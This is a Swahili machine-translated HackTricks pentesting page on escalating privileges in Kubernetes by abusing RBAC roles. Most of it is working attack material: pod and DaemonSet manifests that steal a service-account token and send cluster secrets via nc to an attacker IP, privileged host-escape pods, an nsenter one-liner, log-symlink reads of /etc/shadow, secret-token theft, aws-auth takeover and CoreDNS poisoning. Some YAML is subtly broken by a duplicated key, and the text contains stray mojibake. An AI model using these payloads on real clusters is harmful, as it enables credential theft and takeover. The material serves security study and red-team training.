Abusing Roles/ClusterRoles in Kubernetes
Reading time: 27 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Hapa unaweza kupata baadhi ya mipangilio ya Roles na ClusterRoles ambayo inaweza kuwa hatari.
Kumbuka kwamba unaweza kupata rasilimali zote zinazoungwa mkono kwa kubectl api-resources
Privilege Escalation
Inarejelea sanaa ya kupata ufikiaji wa principal tofauti ndani ya klasta ikiwa na mamlaka tofauti (ndani ya klasta ya kubernetes au kwa mawingu ya nje) kuliko zile ulizo nazo tayari, katika Kubernetes kuna kεΊζ¬ mbinu 4 kuu za kupandisha mamlaka:
- Kuwa na uwezo wa kujifanya mtumiaji/katika makundi/SAs wengine wenye mamlaka bora ndani ya klasta ya kubernetes au kwa mawingu ya nje
- Kuwa na uwezo wa kuunda/kurekebisha/kutekeleza pods ambapo unaweza kupata au kuunganisha SAs wenye mamlaka bora ndani ya klasta ya kubernetes au kwa mawingu ya nje
- Kuwa na uwezo wa kusoma siri kwani token za SAs zimehifadhiwa kama siri
- Kuwa na uwezo wa kutoroka hadi kwenye node kutoka kwenye kontena, ambapo unaweza kuiba siri zote za kontena zinazotembea kwenye node, akidi za node, na ruhusa za node ndani ya wingu inayoendesha (ikiwa ipo)
- Mbinu ya tano ambayo inastahili kutajwa ni uwezo wa kukimbia port-forward katika pod, kwani unaweza kuwa na uwezo wa kufikia rasilimali za kuvutia ndani ya pod hiyo.
Access Any Resource or Verb (Wildcard)
wildcard (*) inatoa ruhusa juu ya rasilimali yoyote na kitenzi chochote. Inatumika na wasimamizi. Ndani ya ClusterRole hii inamaanisha kwamba mshambuliaji anaweza kutumia anynamespace katika klasta
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Access Any Resource with a specific verb
In RBAC, ruhusa fulani zina hatari kubwa:
create
: Inatoa uwezo wa kuunda rasilimali yoyote ya klasta, ikihatarisha kupanda kwa mamlaka.list
: Inaruhusu kuorodhesha rasilimali zote, ikihatarisha kuvuja kwa data nyeti.get
: Inaruhusu kufikia siri kutoka kwa akaunti za huduma, ikileta tishio la usalama.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod Create - Steal Token
Mshambuliaji mwenye ruhusa za kuunda pod, anaweza kuunganisha Akaunti ya Huduma yenye mamlaka ndani ya pod na kuiba token ili kujifanya kuwa Akaunti ya Huduma. Kwa ufanisi anapandisha mamlaka kwake.
Mfano wa pod ambayo itakuwa na uwezo wa kuiba token ya akaunti ya huduma bootstrap-signer
na kuisafirisha kwa mshambuliaji:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Pod Create & Escape
Ifuatayo inaonyesha haki zote ambazo kontena inaweza kuwa nazo:
- Privileged access (kuondoa ulinzi na kuweka uwezo)
- Disable namespaces hostIPC and hostPid ambazo zinaweza kusaidia kuongeza haki
- Disable hostNetwork namespace, ikitoa ufikiaji wa kuiba haki za wingu za nodi na ufikiaji bora wa mitandao
- Mount hosts / inside the container
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
Unda pod na:
kubectl --token $token create -f mount_root.yaml
Moja ya mistari kutoka hiki tweet na nyongeza kadhaa:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Stealth
Huenda unataka kuwa stealthier, katika kurasa zinazofuata unaweza kuona kile ambacho utaweza kufikia ikiwa utaunda pod kwa kuwezesha baadhi ya ruhusa zilizotajwa katika kiolezo kilichopita:
- Privileged + hostPID
- Privileged only
- hostPath
- hostPID
- hostNetwork
- hostIPC
Unaweza kupata mfano wa jinsi ya kuunda/kutumia vibaya mipangilio ya pods zilizopatiwa ruhusa katika https://github.com/BishopFox/badPods
Pod Create - Move to cloud
Ikiwa unaweza kuunda pod (na hiari akaunti ya huduma) unaweza kuwa na uwezo wa kupata ruhusa katika mazingira ya wingu kwa kuteua majukumu ya wingu kwa pod au akaunti ya huduma na kisha kuifikia.
Zaidi ya hayo, ikiwa unaweza kuunda pod yenye nafasi ya mtandao wa mwenyeji unaweza kuiba IAM jukumu la node instance.
Kwa maelezo zaidi angalia:
Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs
Inawezekana kutumia vibaya ruhusa hizi ili kuunda pod mpya na kuanzisha ruhusa kama katika mfano wa awali.
Yaml ifuatayo inaunda daemonset na inatoa token ya SA ndani ya pod:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec
ni rasilimali katika kubernetes inayotumika kwa kukimbia amri katika shell ndani ya pod. Hii inaruhusu kukimbia amri ndani ya kontena au kupata shell ndani.
Hivyo, inawezekana kuingia ndani ya pod na kuiba token ya SA, au kuingia pod yenye mamlaka, kutoroka hadi kwenye node, na kuiba token zote za pods katika node na (ku)itumia node:
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
note
Kwa default amri inatekelezwa katika kontena la kwanza la pod. Pata pods zote katika kontena kwa kutumia kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'
na kisha onyesha kontena ambapo unataka kutekeleza kwa kutumia kubectl exec -it <pod_name> -c <container_name> -- sh
Ikiwa ni kontena lisilo na mfumo wa uendeshaji unaweza kujaribu kutumia shell builtins kupata taarifa za kontena au kupakia zana zako mwenyewe kama busybox kwa kutumia: kubectl cp </path/local/file> <podname>:</path/in/container>
.
port-forward
Ruhusa hii inaruhusu kupeleka bandari moja ya ndani kwa bandari moja katika pod iliyoainishwa. Hii inakusudiwa kuwezesha kufuatilia programu zinazotembea ndani ya pod kwa urahisi, lakini mshambuliaji anaweza kuitumia vibaya kupata ufikiaji wa programu za kuvutia (kama DBs) au programu zenye udhaifu (webs?) ndani ya pod:
kubectl port-forward pod/mypod 5000:5000
Hosts Writable /var/log/ Escape
Kama ilivyoonyeshwa katika utafiti huu, ikiwa unaweza kufikia au kuunda pod yenye directories ya hosts /var/log/
imewekwa juu yake, unaweza kutoroka kutoka kwenye kontena.
Hii ni kwa sababu wakati Kube-API inajaribu kupata logi ya kontena (kwa kutumia kubectl logs <pod>
), inafanya ombwe la faili 0.log
la pod kwa kutumia kiunganishi cha /logs/
cha huduma ya Kubelet.
Huduma ya Kubelet inatoa kiunganishi cha /logs/
ambacho kimsingi ni kuonyesha mfumo wa faili wa /var/log
wa kontena.
Kwa hivyo, mshambuliaji mwenye ufikiaji wa kuandika katika folda /var/log/ ya kontena anaweza kutumia tabia hii kwa njia 2:
- Kubadilisha faili
0.log
la kontena lake (ambalo kawaida liko katika/var/logs/pods/namespace_pod_uid/container/0.log
) kuwa symlink inayoelekeza kwenye/etc/shadow
kwa mfano. Kisha, utaweza kutoa faili la kivuli cha hosts kwa kufanya:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- Ikiwa mshambuliaji anadhibiti kiongozi yeyote mwenye idhini za kusoma
nodes/log
, anaweza tu kuunda symlink katika/host-mounted/var/log/sym
hadi/
na wakati anapofikiahttps://<gateway>:10250/logs/sym/
atataja mfumo wa faili wa mizizi wa mwenyeji (kubadilisha symlink kunaweza kutoa ufikiaji wa faili).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
Maabara na exploit ya otomatiki inaweza kupatikana katika https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
Kupita ulinzi wa readOnly
Ikiwa una bahati na uwezo wa juu wa `CAP_SYS_ADMIN upo, unaweza tu kuunganisha tena folda hiyo kama rw:
mount -o rw,remount /hostlogs/
Bypassing hostPath readOnly protection
Kama ilivyoelezwa katika utafiti huu inawezekana kupita ulinzi:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
Ambayo ilikusudia kuzuia kutoroka kama zile za awali kwa, badala ya kutumia mtego wa hostPath, kutumia PersistentVolume na PersistentVolumeClaim ili kuunganisha folda ya mwenyeji ndani ya kontena kwa ufikiaji wa kuandika:
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
Kujifanya kuwa akaunti zenye mamlaka
Kwa kutumia kujifanya kuwa mtumiaji mamlaka, mshambuliaji anaweza kujifanya kuwa akaunti yenye mamlaka.
Tumia tu parameter --as=<username>
katika amri ya kubectl
kujifanya kuwa mtumiaji, au --as-group=<group>
kujifanya kuwa kundi:
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
Au tumia API ya REST:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Listing Secrets
Ruhusa ya kuorodhesha siri inaweza kumruhusu mshambuliaji kusoma siri kwa kufikia kiunganishi cha API ya REST:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Kuunda na Kusoma Siri
Kuna aina maalum ya siri ya Kubernetes ya aina kubernetes.io/service-account-token ambayo inahifadhi token za akaunti ya huduma. Ikiwa una ruhusa za kuunda na kusoma siri, na pia unajua jina la akaunti ya huduma, unaweza kuunda siri kama ifuatavyo na kisha kuiba token ya akaunti ya huduma ya mwathirika kutoka kwake:
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
Mfano wa unyakuzi:
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
Kumbuka kwamba ikiwa unaruhusiwa kuunda na kusoma siri katika eneo fulani, akaunti ya huduma ya mwathirika pia lazima iwe katika eneo hilo hilo.
Kusoma siri β kulazimisha vitambulisho vya token
Wakati mshambuliaji mwenye token yenye ruhusa za kusoma anahitaji jina halisi la siri ili kuitumia, tofauti na ruhusa pana ya kuorodhesha siri, bado kuna udhaifu. Akaunti za huduma za default katika mfumo zinaweza kuorodheshwa, kila moja ikihusishwa na siri. Siri hizi zina muundo wa jina: kiambatisho kisichobadilika kinachofuatiwa na token ya alphanumeric ya herufi tano za nasibu (bila kuhesabu wahusika fulani) kulingana na source code.
Token inazalishwa kutoka seti ndogo ya wahusika 27 (bcdfghjklmnpqrstvwxz2456789
), badala ya anuwai kamili ya alphanumeric. Kizuizi hiki kinapunguza jumla ya mchanganyiko unaowezekana kuwa 14,348,907 (27^5). Kwa hivyo, mshambuliaji anaweza kutekeleza shambulio la kulazimisha ili kubaini token katika masaa machache, ambayo yanaweza kusababisha kupandishwa vyeo kwa kufikia akaunti za huduma nyeti.
EncrpytionConfiguration katika maandiko wazi
Inawezekana kupata funguo za maandiko wazi za kuandaa data iliyohifadhiwa katika aina hii ya kitu kama:
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
Certificate Signing Requests
Ikiwa una vitenzi create
katika rasilimali certificatesigningrequests
(au angalau katika certificatesigningrequests/nodeClient
). Unaweza kuunda CeSR mpya ya node mpya.
Kulingana na nyaraka inawezekana kuidhinisha ombi hizi kiotomatiki, hivyo katika kesi hiyo huhitaji ruhusa za ziada. Ikiwa sivyo, itabidi uweze kuidhinisha ombi, ambayo inamaanisha sasisha katika certificatesigningrequests/approval
na approve
katika signers
na resourceName <signerNameDomain>/<signerNamePath>
au <signerNameDomain>/*
Mfano wa role yenye ruhusa zote zinazohitajika ni:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
Kwa hivyo, na CSR mpya ya node iliyothibitishwa, unaweza kutilia shaka ruhusa maalum za nodes ili kuiba siri na kuinua mamlaka.
Katika post hii na hii moja usanidi wa GKE K8s TLS Bootstrap umewekwa na kusainiwa kiotomatiki na unakiliwa ili kuzalisha ithibitisho ya Node mpya ya K8s na kisha kutumiwa kuimarisha mamlaka kwa kuiba siri.
Ikiwa una mamlaka zilizotajwa unaweza kufanya kitu kama hicho. Kumbuka kwamba mfano wa kwanza unakabiliwa na kosa linalozuia node mpya kufikia siri ndani ya kontena kwa sababu node inaweza kufikia tu siri za kontena zilizowekwa juu yake.
Njia ya kukabili hili ni tu kuunda ithibitisho ya node kwa jina la node ambapo kontena yenye siri za kuvutia imewekwa (lakini angalia tu jinsi ya kufanya hivyo katika post ya kwanza):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
Wajibu wanaoweza kubadilisha configmaps
katika eneo la kube-system kwenye EKS (lazima wawe ndani ya AWS) klasta wanaweza kupata haki za usimamizi wa klasta kwa kubadilisha aws-auth configmap.
Vitenzi vinavyohitajika ni update
na patch
, au create
ikiwa configmap haijaundwa:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
warning
Unaweza kutumia aws-auth
kwa kuendelea kutoa ufikiaji kwa watumiaji kutoka akaunti nyingine.
Hata hivyo, aws --profile other_account eks update-kubeconfig --name <cluster-name>
haifanyi kazi kutoka akaunti tofauti. Lakini kwa kweli aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing
inafanya kazi ikiwa utaweka ARN ya klasta badala ya jina tu.
Ili kufanya kubectl
ifanye kazi, hakikisha tu unapanga kubeconfig ya waathirika na katika arg za aws exec ongeza --profile other_account_role
ili kubectl itumie profaili ya akaunti nyingine kupata token na kuwasiliana na AWS.
CoreDNS config map
Ikiwa una ruhusa za kubadilisha coredns
configmap katika eneo la kube-system
, unaweza kubadilisha anwani ambazo maeneo yatatatuliwa ili uweze kufanya mashambulizi ya MitM ili kuiba taarifa nyeti au kuingiza maudhui mabaya.
Vitenzi vinavyohitajika ni update
na patch
juu ya coredns
configmap (au config maps zote).
Faili ya kawaida ya coredns ina kitu kama hiki:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
Mshambuliaji anaweza kupakua ikifanya kubectl get configmap coredns -n kube-system -o yaml
, kuhariri na kuongeza kitu kama rewrite name victim.com attacker.com
ili kila wakati victim.com
inapotafutwa, kwa kweli attacker.com
ndiyo domain itakayofikiwa. Kisha, itatumika ikifanya kubectl apply -f poison_dns.yaml
.
Chaguo lingine ni kuhariri tu faili ikifanya kubectl edit configmap coredns -n kube-system
na kufanya mabadiliko.
Kuongeza Mamlaka katika GKE
Kuna njia 2 za kutoa ruhusa za K8s kwa wahusika wa GCP. Katika hali yoyote, mhusika pia anahitaji ruhusa container.clusters.get
ili kuwa na uwezo wa kukusanya akreditifia za kufikia klasta, au itabidi ujenge faili yako ya kubectl config (fuata kiungo kinachofuata).
warning
Wakati wa kuzungumza na kiunganishi cha K8s api, token ya uthibitisho ya GCP itatumwa. Kisha, GCP, kupitia kiunganishi cha K8s api, kwanza itaangalia kama mhusika (kwa barua pepe) ana ufikiaji wowote ndani ya klasta, kisha itaangalia kama ana ufikiaji wowote kupitia GCP IAM.
Ikiwa yoyote kati ya hizo ni kweli, atajibiwa. Ikiwa siyo ni kosa linalopendekeza kutoa ruhusa kupitia GCP IAM litapelekwa.
Kisha, njia ya kwanza ni kutumia GCP IAM, ruhusa za K8s zina ruhusa sawa za GCP IAM, na ikiwa mhusika ana hiyo, ataweza kuitumia.
Njia ya pili ni kutoa ruhusa za K8s ndani ya klasta kwa kutambua mtumiaji kwa barua pepe yake (akaunti za huduma za GCP zimejumuishwa).
Unda token za serviceaccounts
Wahusika wanaoweza kuunda TokenRequests (serviceaccounts/token
) Wakati wa kuzungumza na kiunganishi cha K8s api SAs (habari kutoka hapa).
ephemeralcontainers
Wahusika wanaoweza update
au patch
pods/ephemeralcontainers
wanaweza kupata utendaji wa msimbo kwenye pods nyingine, na kwa uwezekano kuvunja kwenye node yao kwa kuongeza kontena ya muda mfupi yenye securityContext yenye mamlaka.
ValidatingWebhookConfigurations au MutatingWebhookConfigurations
Wahusika wenye mojawapo ya vitenzi create
, update
au patch
juu ya validatingwebhookconfigurations
au mutatingwebhookconfigurations
wanaweza kuwa na uwezo wa kuunda mojawapo ya webhookconfigurations hizo ili waweze kuongeza mamlaka.
Kwa `mfano wa mutatingwebhookconfigurations angalia sehemu hii ya chapisho hili.
Pandisha
Kama unavyoweza kusoma katika sehemu inayofuata: Kuzuia Kuongeza Mamlaka Kwenye Mfumo, mhusika cannot kuhariri wala kuunda roles au clusterroles bila kuwa na ruhusa hizo mpya. Isipokuwa ikiwa ana kitenzi escalate
au *
juu ya roles
au clusterroles
na chaguo husika za binding.
Kisha anaweza kuhariri/kuunda roles mpya, clusterroles zenye ruhusa bora kuliko zile alizonazo.
Nodes proxy
Wahusika wenye ufikiaji kwa nodes/proxy
subresource wanaweza kutekeleza msimbo kwenye pods kupitia Kubelet API (kulingana na hii). Taarifa zaidi kuhusu uthibitishaji wa Kubelet katika ukurasa huu:
Kubelet Authentication & Authorization
Una mfano wa jinsi ya kupata RCE ukizungumza na Kubelet API hapa.
Futa pods + nodes zisizoweza kupanga
Wahusika wanaoweza kufuta pods (delete
verb juu ya pods
resource), au kuhamasisha pods (create
verb juu ya pods/eviction
resource), au kubadilisha hali ya pod (ufikiaji kwa pods/status
) na wanaweza kufanya nodes nyingine zisizoweza kupanga (ufikiaji kwa nodes/status
) au kufuta nodes (delete
verb juu ya nodes
resource) na ana udhibiti juu ya pod, wanaweza kuiba pods kutoka kwa nodes nyingine ili ziwe zinatekelezwa katika node iliyovunjika na mshambuliaji anaweza kuiba tokens kutoka kwa pods hizo.
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
Hali za huduma (CVE-2020-8554)
Wajibu wanaoweza kubadilisha services/status
wanaweza kuweka uwanja wa status.loadBalancer.ingress.ip
ili kutumia CVE-2020-8554 isiyo na suluhisho na kuanzisha MiTM attacks dhidi ya klasta. Mipango mingi ya kupunguza hatari kwa CVE-2020-8554 inazuia huduma za ExternalIP pekee (kulingana na hii).
Hali za Nodes na Pods
Wajibu wenye ruhusa za update
au patch
juu ya nodes/status
au pods/status
, wanaweza kubadilisha lebo ili kuathiri vikwazo vya kupanga vinavyotekelezwa.
Kinga ya Kukuza Privilege iliyojengwa ndani
Kubernetes ina mekanismu iliyojengwa ndani ili kuzuia kukuza privilege.
Mfumo huu unahakikisha kwamba watumiaji hawawezi kuongeza privileges zao kwa kubadilisha majukumu au uhusiano wa majukumu. Utekelezaji wa sheria hii unafanyika katika ngazi ya API, ukitoa kinga hata wakati mthibitishaji wa RBAC haupo.
Sheria inasema kwamba mtumiaji anaweza tu kuunda au kubadilisha jukumu ikiwa ana ruhusa zote zinazohitajika na jukumu hilo. Aidha, upeo wa ruhusa za mtumiaji zilizopo lazima ulingane na ule wa jukumu wanajaribu kuunda au kubadilisha: ama kwa kiwango cha klasta kwa ClusterRoles au kufungwa kwenye namespace sawa (au kwa kiwango cha klasta) kwa Roles.
warning
Kuna ubaguzi wa sheria ya awali. Ikiwa wajibu ana kitenzi escalate
juu ya roles
au clusterroles
anaweza kuongeza privileges za majukumu na clusterroles hata bila kuwa na ruhusa hizo mwenyewe.
Pata & Patch RoleBindings/ClusterRoleBindings
caution
Kwa kweli, mbinu hii ilifanya kazi hapo awali, lakini kulingana na majaribio yangu haifanyi kazi tena kwa sababu ile ile iliyoelezwa katika sehemu ya awali. Huwezi kuunda/kubadilisha rolebinding ili kujipa wewe mwenyewe au SA tofauti baadhi ya privileges ikiwa tayari huna.
Ruhusa ya kuunda Rolebindings inamruhusu mtumiaji kuunganisha majukumu na akaunti ya huduma. Ruhusa hii inaweza kupelekea kukuza privilege kwa sababu inaruhusu mtumiaji kuunganisha ruhusa za admin kwa akaunti ya huduma iliyovunjika.
Mashambulizi Mengine
Programu ya proxy ya Sidecar
Kwa kawaida hakuna usimbuaji katika mawasiliano kati ya pods. Uthibitishaji wa pamoja, wa pande mbili, kutoka pod hadi pod.
Unda programu ya proxy ya sidecar
Kontena ya sidecar inajumuisha kuongeza kontena ya pili (au zaidi) ndani ya pod.
Kwa mfano, ifuatayo ni sehemu ya usanidi wa pod yenye kontena 2:
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
Kwa mfano, ili kuingiza backdoor kwenye pod iliyopo na kontena mpya unaweza kuongeza kontena mpya katika maelezo. Kumbuka kwamba unaweza kutoa ruhusa zaidi kwa kontena ya pili ambayo ya kwanza haitaweza kuwa nayo.
